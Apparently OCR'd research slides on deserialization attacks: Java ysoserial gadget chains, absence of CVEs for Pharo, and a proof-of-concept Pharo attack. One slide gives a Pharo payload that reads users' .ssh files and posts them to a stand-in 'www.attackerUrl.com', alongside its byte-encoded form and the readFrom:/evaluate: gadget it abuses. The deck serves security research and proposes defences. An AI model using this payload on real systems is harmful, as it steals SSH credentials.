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Example of real-world attack

Ransomware attackjon San Francisco

public transit gives everyone a freeride

San Francisco Municipal Transport Agency attacked by
hackers who locked up computers and data with 100 bitcoin

demand

i |
,[.
| __
Source:

https://www.theguardian.com/technology/2016/nov/28/passengers-free-ride-san-francisco-muni-ransomeware



https://www.theguardian.com/technology/2016/nov/28/passengers-free-ride-san-francisco-muni-ransomeware

Terminology

CVE (Common Vulnerabilities and Exposures): ID + vulnerability description + patch
(if any) + exploits + ...

Known databases for attacks/vulnerabilities description

o OWASP (Open Web Application Security Project) C’)BDLUHSD®

o  MITRE corporation MITRE | SoLVING PROBLEMS

FOR A SAFER WORLD’
o RedHat ‘

o NVD (National Vulnerabilities Database) of NIST



Example of CVE search

—w ¥ s 2818 CVEs on Java

(Sea rch Results

148 CVEs on Java deserializ(s)ation
lThere are 2818 CVE Records that match your search.

CVE-2024-6441 A vulnerability was found in ORIPA up to 1.72. 14211 CVES on SQL injeCtion

to address this issue. It is recommended to up
CVE-2024-5971 A vulnerability was found in Undertow, where |

leaving the server side to a denial of service af 105 CVES on Java injection

925 CVEs on Python



What about CVE search for Pharo?

— V¥ e - 0 CVEs on “Pharo’
Fearch Results - 0 CVEs for “SmallTalk”
-

here are 0 CVE Records that match your search. J

Red Hat Bugzilla - Bug List
Home New SearchQ~ My links~ Q g

Hide Search Description

i e No detected or reported attacks in Pharo?

[ Showing 0to 0 of 0 entries] No rows selected

Show | 20 ¥ |entries Column visibility ¥ |

ID Relevance

Showing 0 to 0 of 0 entries  No rows selected 5



So..

® There are no reported attacks in Pharo
o does this mean that Pharo is safe?
m if that’s the case, everything is fine :-)
m if not, we need to know the potential attacks and to prevent them

e How do we know if Pharo is (really) safe?



Our goal is to check if Pharo codes can be attacked

write a PoC of attacks



Our goal is to check if Pharo codes can be attacked
write a PoC of attacks

Deserialization attacks!



Deserialization attacks

e Serialization: transform an object into a sequence of bytes

e Deserialization: reconstruct the object from the data available in the serialized sequence

?ublic class MyClass implements Serializable | Instantiation MyClass mc = new MyClass(34)
int a;
public MyClass (int a) {
this.a = a;
} ¢ >
publicintm (..) {..} 00000000 aced 000573720007 4d79436¢c617373ed |....sr..MyClass. |
} 00000010 ef 00 7802 ca 829602 0001490001617870 |.x....... l..axp|

00000020 00 00 00 22 |..." |




Deserialization attack in PayPal in 2015
l hzzz; : f/l:llzgagﬁ; p;;l[lbta)% . czmll’;i:annfo. do?subaction=showtranxSettings

Accept-Language: en-US,en;qg=0.8,ru;qg=0.6
Cookie: mecookie...

maxAmtPerTrans=1000.00&maxAmtForCredit=&allowCreditExceedMaxTransAmt=N&allo
wRoefTrans=Y&confirmbutton=Confirms‘oldFormData}W sr java.util.HashMap
= F
loadFactorI
thresholdxp?@ w sr java.lang.Integer .@@®8 I valuexr java.lang.Number@@®

Xp sr(com.verisign.vps.common.model.VendorRule@®{{ @:€® xrlcom.veris
ign.vps.common.model .base.BaseVendorRule@@-Q0® € IhashCodelL activet Ljava
lang/String;L _idt,Lcom/verisign/vps/common/model/VendorRulePK;L lastChang Pa ypa'
edt Ljava/util/Date;L valuet Ljava/lang/Integer;L vendort&Lcom/verisign/vp
s/common/model/Vendor ; xpE€) €@tYsr*com.verisign.vps.common.model.VendorRulePK
<@ (<QO® xr3com.verisign.vps.common.model.base.BaseVendorRulePK{ EQ-@ & I
hashCodeL. _ruleIdg~
L _vidg-
XpnP@Ng- sq~ =@€¥sr java.sql.Timestamps @€S@e I nanosxr java.util.Datehj@KYt
Xp Xsq-~ sr$com.verisign.vps.common.model .Vendor@Q@QVpbéy L asc
t:Lcom/verisign/vps/common/model/AdvertisingServiceCustomer;xXr-com.verisig
n.vps.common.model .base.BaseVendoro@@R F XThashCodel acceptedAgreementst

TAarwalukil /CAEk T ammnantAadMAvmMrnname T ammnndAaddeavme s macec

Source:
https://artsploit.blogspot.com/201
6/01/paypal-rce.html
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Deserialization attacks 101

Victim side

Attacker side :
|

[ e
— — —
—

= —
—
—

a =
T sers &
ava \ users := (FileSystem disk
\ root / "Users").

\\ (users entries collect:[:e|
.

\ ' . .
\ . s 6; et

\ Malicious code | ?;??
\ ! . ~
\ - . ,

\
(D serialization \ (((;))) 7
\ “t‘ //
o \

I .
' .
I >
.
: .
I .

-
© »

/
'#[124 117 115 101 114 115 124 L /// .t

13117115 101 114 115 32 58 (2 Deserialization - g .

613240 70 105 108 101 83 121 . [ .t
115 116...]' p ‘. Q Object class>>readFrom: maliciousString .

Malicious file

"
.
., .
. .
.........

Legend

“ payload
Q gadget

7 exploit
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Understanding deserialization attacks —

® Ysoserial* tool as a PoC for Java deserialization attacks

e We have studied 19 out of 47 attacks in Java described by ysoserial [1]

e We have extracted the call stacks of these attacks

e Our goal was to extract information from these attacks to reuse them in other
languages

* https://github.com/frohoff/ysoserial

[1] Imen Sayar, Alexandre Bartel, Eric Bodden, and Yves Le Traon. “An in-depth study of java deserialization remote-code execution exploits and vulnerabilities”. ACM

Trans. Softw. Eng. Methodol., 32(1) :25 :1-25 :45, 2023. 1


https://github.com/frohoff/ysoserial
https://github.com/frohoff/ysoserial

Ysoserial deserialization attacks

v [TTMacClasse_jdk21 [Java Application] v [T1MacClasse_CommonsCollection3 [Java Application]
v & MaClasse at localhost:34607 v & MacClasse at localhost:34517
v ® Thread [main] (Suspended (entry into method exec in Runtime)) v ® Thread [main] (Suspended (entry into method exec in Runtime))
@ owns: Templatesimpl (id=56) @ owns: Templatesimpl (id=63)

= Runtime.exec(String[], String[], File) line: 615
File) line: 448

Runtime.exec(String[], String[], File) line: 615

= Runtime.exec(String, Strin

= Runtime.exec(String) line: 345 I = Runtime.exec(String) line: 345 I
= Pwner12858007545291.<clinit>() line: not available = Pwner25517374718440.<clinit>() line: not available
= NativeConstructorAccessorimpl. newlnstanceO(Constructor Object[]) line: not available [native method] = NativeConstructorAccessorimpl.newlnftameeQ(Constructor, Object[]) line: not available [native method]

= NativeConstructorAccessorimpl.newlfis

= Nat|veC0nstructorAccessorImpl newlnstance(Obje

‘m(dobject[

= DelegatingConstructorAccessorimplfe:
G a dgets = Constructor<T>.newlnstance(Object...)
= Class<T>.newlnstance0() line: 374

= Class<T>.newlnstance() line: 327

= Constructor<T>.newlInstance(Object...) line: 525
= Class<T>.newlnstance0() line: 374
= Class<T>.newlnstance() line: 327

= Templatesimpl.getTransletinstance() line: 380

I = Templatesimpl.newTransformer() line: 410
= TrAXFilter.<init>(Templates) line: 64 |
= NativeConstructorAccessorimpl.newlnstance0(Constructor, Object[]) line: not available [native method]

= Templatesimpl.newTransFormer() line: 410
= Templatesimpl.getOutputProperties() line: 431

= NativeMethodAccessorimpl.invokeO(Method, Object, Object[]) line: not available [native method]
= NativeMethodAccessorimpl.invoke(Object, Object[]) line: 57

= DelegatingMethodAccessorimpl.invoke(Object, Object[]) line: 43

= Method.invoke(Object, Object...) line: 601

= AnnotatlonlnvocatlonHandler equalslmpl(ObJect) line: 197

= NativeConstructorAccessorimpl.newinstance(Object[]) line: 57

= DelegatingConstructorAccessorimpl.newlnstance(Object[]) line: 45
= Constructor<T>.newlnstance(Object...) line: 525

= InstantiateTransformer.transform(Object) line: 105

= ChainedTransformer.transform(Object) line: 122

= LazyMap.get(Object) line: 151

= $Proxy0.equals(Object) line: not available I = AnnotationlnvocationHandler.invoke(Object, Method, Object[]) line: 69
= LinkedHashMap<K,V>(HashMap<K,V>).put(K, V) line: 475 = i f
LinkedHashSet<E>(HashSet<E>).readObject(ObjectlnputStream) line: 309 I = AnnotationlnvocationHandler.readObject(ObjectinputStream) line: 346 I
= NativeMethodAccessorimpl.invokeO(Method, Object, Object[]) line: not available [native method] = NativeMethodAccessorimpl.invokeO(Method, Object, Object[]) line: not available [native method]
= NativeMethodAccessorlmpl.invoke(Object, Object(]) line: 57 = NativeMethodAccessorimpl.invoke(Object, Object[]) line: 57
= DelegatingMethodAccessorimpl.invoke(Object, Object(]) line: 43 = DelegatingMethodAccessorimpl.invoke(Object, Object[]) line: 43
= Method.invoke(Object, Object...) line: 601 = Method.invoke(Object, Object...) line: 601
= ObjectStreamClass.invokeReadObject(Object, ObjectinputStream) line: 1004 = ObjectStreamClass.invokeReadObject(Object, ObjectinputStream) line: 1004
= ObjectInputStream.readSerialData(Object, ObjectStreamClass) line: 1891 = ObjectInputStream.readSerialData(Object, ObjectStreamClass) line: 1891
= ObjectinputStream.readOrdinaryObject(boolean) line: 1796 = ObjectinputStream.readOrdinaryObject(boolean) line: 1796
= ObjectlnputStream.readObjectO(boolean) line: 1348 = ObjectInputStream.readObject0(boolean) line: 1348
= ObjectinputStream.readObject() line: 370 I = ObjectinputStream.readObject() line: 370 I1 3

= MaClasse.main(String[]) line: 19 = MaClasse.main(String[]) line: 19




Internal mechanisms in attacks

Reflection

Native calls

[ Vulnerable classes/methods

L/

v [I1MaClasse_CommonsCollections1_Jdk7u21 [Java Application]
v {MaClasse at localhost:45185
v ® Thread [main] (Suspended (entry into method exec in Runtime))

= Runtime.exec(String[], String[], File) line: 615
= Runtime.exec(String, String[], File) line: 448
= Runtime.exec(String) line: 345 )

= NativeMethodAccessorimpl.invoke(Object, Object[]) line: 57
= DelegatingMethodAccessorimpl.invoke(Object, Object[]) line: 43
= Method.invoke(Object, Object...) line: 601

= NativeMethodAccessorimpl.invoke0(Method, Object, Object[]) line: not available [native meth

(= InvokerTransformer.transform(Object) line: 125

= ChainedTransformer.transform(Object) line: 122

= LazyMap.get(Object) line: 151

= AnnotationinvocationHandler.invoke(Object, Method, Object[]) line: 69

= $Proxy0.entrySet() line: not available
= AnnotationinvocationHandler.readObject(ObjectinputStream) line: 346

= NativeMethodAccessorimpl.invoke(Object, Object[]) line: 57

= NativeMethodAccessorimpl.invoke0(Method, Object, Object[]) line: not available [native meth

= DelegatingMethodAccessorimpl.invoke(Object, Object[]) line: 43
= Method.invoke(Object, Object...) line: 601

= ObjectStreamClass.invokeReadObject(Object, ObjectinputStream) line: 1004
= ObjectinputStream.readSerialData(Object, ObjectStreamClass) line: 1891

= ObjectinputStream.readOrdinaryObject(boolean) line: 1796

= ObjectinputStream.readObjectO(boolean) line: 1348

= ObjectinputStream.readObject() line: 370

= MacClasse.main(String[]) line: 16
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Observation n® 1

Attacks are not using new concepts.

They are based on existing concepts

as reflection, native calls, and late binding
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Observation n° 2

The vulnerability is not a specific code fragment.

It is a constellation of multiple method invocations combined

into a so-called “Gadget Chain”

16



Objective

Now that we have understood how deserialization attacks happen
in Java, we target the Pharo language and try to create an attack.

But, what are the ingredients for that?

17



Getting an Attack Recipe

‘ A\

Attacker side

M
(@) N (
& B ¢

l/ ]
NU M
\
\\
\ 4
\
\ | Malicious code
\\\
(D serialization \ .. .
\ Malicious code that will generate

\ malicious file

'#[124 117 115101 114 115 124
13117115101 1141153258
61324070 105108 101 83 121
115 116...] 7

Malicious file
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Getting an Attack Recipe

( AN\

Attacker side Victim side

N
i b &
\

NU oM

|

«

- Vulnerable language version
\

|
i
i
i
i
i
!
\ i : ST ==
Y ! - methods to invoke ..- —
\ ! o
\ .. ???
. Malicious code | | e )
\ | -
Y ! | ??? ]
(@) serialization \ ! —
\ I -
\ i ’
\ !
\ | e
\ e
\ : =
\ ! Ol 22? )
\ | A
'#[124 117 115 101 114 115 124 i -
13117 115101 114 115 32 58 i . R .
613240 70 105 108 101 83 121 - . ’ o Legend
I . .
115 116...]’ 7 : .. Q | 22? ) i
. ] : tel, . payload
Malicious file ! &

.................... ‘ © sadget

7 exploit
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‘ A\\

Attacker side
m = -
h o

\ N
\

\
\

\ Malicious code
\
\

\
@Serialization \\

'#[124 117 115101 114 115 124
13117115101 1141153258
61324070 105108 101 83 121

Malicious file

115 116...] 7

: Victim side

Getting an Attack Recipe

Attack action -

- send malicious file to the victim

! - deserialize th_e content of the -

”?

malicious file_-*
4

——

"
.
., .
. .
.........

Legend

“ payload
Q gadget

7 exploit

20




Payload for stealing SSH keys in Pharo

Malicious code

"|users|

[ users := (FileSystem disk root / "Users"). |
Tusers entries collect: [:e |

(1) capture the users path

[|userSSHDir stolenFiles| -
L userSSHDir := e asFileReference /".ssh"". J
[ stolenFiles := Dictionary new. J«

(2) collect from the users entries all the ssh files

(" userSSHDir entries do:[:file|

stolenFiles at: file asFileReference path put: fil
asFileReference contents ].
\_ stolenFiles

(3) create a dictionary to put stolen ssh files

A
)

] onErrorDo: [:err| nil ].
1)
ZnClient new
url: "www.attackerUrl.com'’;
contents: stolenFiles;
post'

asByteArray printString.

(4) put the content of each ssh file in the stolenFiles

(5) send the stolen ssh files to the attacker website

(6) transform the attack instructions into a ByteArray

21



Encoded payload for stealing SSH keys

'#[124 117 115101 114115124 13 117 115101 114 11532 58 61 32 40 70 105 108 101 83 121 115116 101 109 32 100 105 115
10732114111 1111163247 323985115101 1141153941461340117115101114 11532 101110116114 105101 11532
99111108 10810199116 589158 101124 13323232329112411711510111483837268 10511432115116 111 108 101
11070105108 101115124 1332323232117 115101 11483837268 105114 32 58 6132 1013297 11570 105 108 101 82
101102 101 114 10111099101 3247 3946 115 115104 3946 32 34 115 101 108 102 32 104 97 108 116 46 34 13 32 32 32 32
115116 111 108 101 110 70 105 108 101 11532 58 61 32 68 10599 116 105111 11097 114 121 32 110 101 11946 13 32 32 32
321171151011148383726810511432101110116114 105101 11532 100111 5891 58 102 105 108 101 124 13 32 32 32
32323232323291115116111 108101 110 70 105 108 101 1153297 116 58 32 102 105 108 101 32 97 115 70 105 108 101 82
101102 101 114 10111099101 3211297 116 104 32 112 117 116 58 32 102 105 108 101 32 97 115 70 105 108 101 82 101 102
101114 101110991013299111110116101 1101161153293 11111069114 11411111468 11158329158 101114 114
12432 110105 108329393461332323232115116111 108 101 11070105108 101 1151332323232933211111069 114
11411111468 11158329158 101 114 114124 32 110 105108 3293 46 139341 32 105110 115112 10199 11646 32 13 1390
11067 108 105 10111011632 110101 11913999117114 10858 3239117 1141084699 11110939591399999 111 110
116101110116 1155832115116 111 108 101 110 70 105 108 101 1155913999112 111 115 116]'

= This malicious bytestream is unreadable by humans and will be sent to the

victim to deserialize it using the readFrom: method

22



The readFrom: method

® The victim application will deserialize the maliciousString wusing the
Object class >> readFrom: method
e The readFrom: method invokes the evaluate: method

o both of them are considered as gadgets

"Object class >>" readFrom: textStringOrStream

+1

"Create an object based on the contents of textStringOrStream.

| object
object :=|self class compiler evaluate: textStringOrStream.
(object 1isKindOf: self) ifFalse: [self error: self name, ' expected'].

Aobject




Pharo attack conduct

( A\\ 2

. | e g N
Attacker side : Victim side
. — . - ‘.
? |users| | (3 Attack action (steal and send SSHkeysto  ~~ ~— _ . .
. . ! ~ ..
AVA —'\_ users := (FileSystem disk ﬁ ! www.attackerUrl.com) TN .
\ root / "Users"). ' e \ .
\ | (usersentries ! et © znclient>>post .
\ | collect:[:e] ...] ! et A "
‘ & : -
\ . e Lt
v Malicious code | e eva':ate
\ . .
\ ? et | .
\ N OCReceiverDoltSemanticScope(OCDoltSemanticScope)>>evaluateDolt:
(@) serialization \ () o - .
\ L. o* /// “
\ A4 LN * :
\ | Lo o o
\ i . o —— L
\ ! S - .
\ I ot Q OpalCompiler>>evaluate: maliciousString Ll
\ [ . 4 A
"#[124 117 115 101 114 115 124 o S P .
13117115101 114 115 32 58 Q)_|2¢3_$‘>Ei‘_la_|lia_tlgg_;> e .
6132 40 70 105 108 101 83 121 < ) [ ) Lot Legend
115 116...] 7 | T Q Object class>>readFrom: maliciousString Lt
| il e
. . . . . payload
Malicious file maliciousString O . &
A R LR R Trr Q gadget
I - exploit
| e .
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What’s next?

Shall we deprecate then remove Object class>>readFrom:?
No Security Manager in Pharo for preventing attacks
o introduce natively this concept in Pharo?
One of the main problems in the attacks is that the victim application contains
openings to the outside (eg., reading from external file, queryable database)

o why not detecting these openings and control them?

26



Conclusion

Vulnerabilities still exist in Object Oriented languages

Pharo attack chains construction for 3 attacks

It is relevant to consider and implement security checks when

coding in Pharo

27



Thank you!

. | o ae .
Attacker side : Victim side
— e ——— T T T T T T T T e = ——
‘ k — I — — _— — T
ﬁ |users| i (3) Attack action (steal and send SSH keys) ~— — — et ..
AVa _\_ users := (FileSystem disk ‘é ! TN .,
\ root / "Users"). ! S \
\ | (usersentries : et © znclient>>post .,
\ | collect:[ze] ...] ! et A "
‘ & . - ‘
\ . .
v Malicious code | I e"a':ate "
\ . .
\ i L0 | :
o \ Lt OCReceiverDoltSemanticScope(OCDoltSemanticScope)>>evaluateDolt:
(@) serialization \ ((x0) R A N
\ Lt ’ Rl ..'
\ | .t A .t
\ | . —— Lt
\ . .t e L
\ | Lo Q OpalCompiler>>evaluate: textStringOrStream et
\ i - .
'#[124 117 115 101 114 115 124 L. N -7 Lot
13117 115101 114 115 32 58 @_Qe_sgr_la_llia_tgg . -~ A
6132 40 70 105 108 101 83 121 .. ) R )
115 116...] p ‘. Q Object class>>readFrom: maliciousString et

|
|
Malicious file maliciousString i
|
|
|
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Backup slides
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SecurityManager secuManager = new SecurityManager();
System.setSecurityManager(secuManager);

java.security.AccessControlException: access denied ("java.lang.RuntimePermission" "accessClassInPackage.sun.reflect.annotation")
at java.security.AccessControlContext.checkPermission(AccessControlContext.java:366)
at java.security.AccessController.checkPermission(AccessController.java:560)
at java.lang.SecurityManager.checkPermission(SecurityManager.java:549)
at java.lang.SecurityManager.checkPackageAccess(SecurityManager. java:1529)
at sun.misc.Launcher$AppClassLoader. loadClass(Launcher. java:305)
at java.lang.ClassLoader.loadClass(ClassLoader.java:356)
at java.lang.Class.forName@(Native Method)
at java.lang.Class.forName(Class.java:266)
at java.io.ObjectInputStream.resolveClass(0ObjectInputStream.java:623)
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1610)
at java.io.ObjectInputStream.readClassDesc(0ObjectInputStream.java:1515)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1769)
at java.io.ObjectInputStream.readObject@(0ObjectInputStream.java:1348)
at java.io.ObjectInputStream.readObject(0ObjectInputStream.java:370)
at Victim.main(Victim.java:25)
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( AN\

Attacker side

A
‘ﬁ‘ |users]| @%
"_'\_ users := (FileSystem disk

Pharo with a Security Manager

\ root / "Users'").

\ (users entries

\ collect:[:e] ...]

\

\
\

\
@Serialization \\

\ Malicious code

'#[124 117 115101 114 115 124
13117115101 1141153258

61324070105108 101 83121

115 116...]

Malicious file maliciousString

Victim side

L Q OpalCompiler>>evaluate: textStringOrStream
2t /
7
~
P ~
s
. [ .
‘. Q Object class>>readFrom: maliciousString Lt

" .
"
., .
. .
.........

. Security Manager

Legend

“ payload
Q gadget

7 exploit
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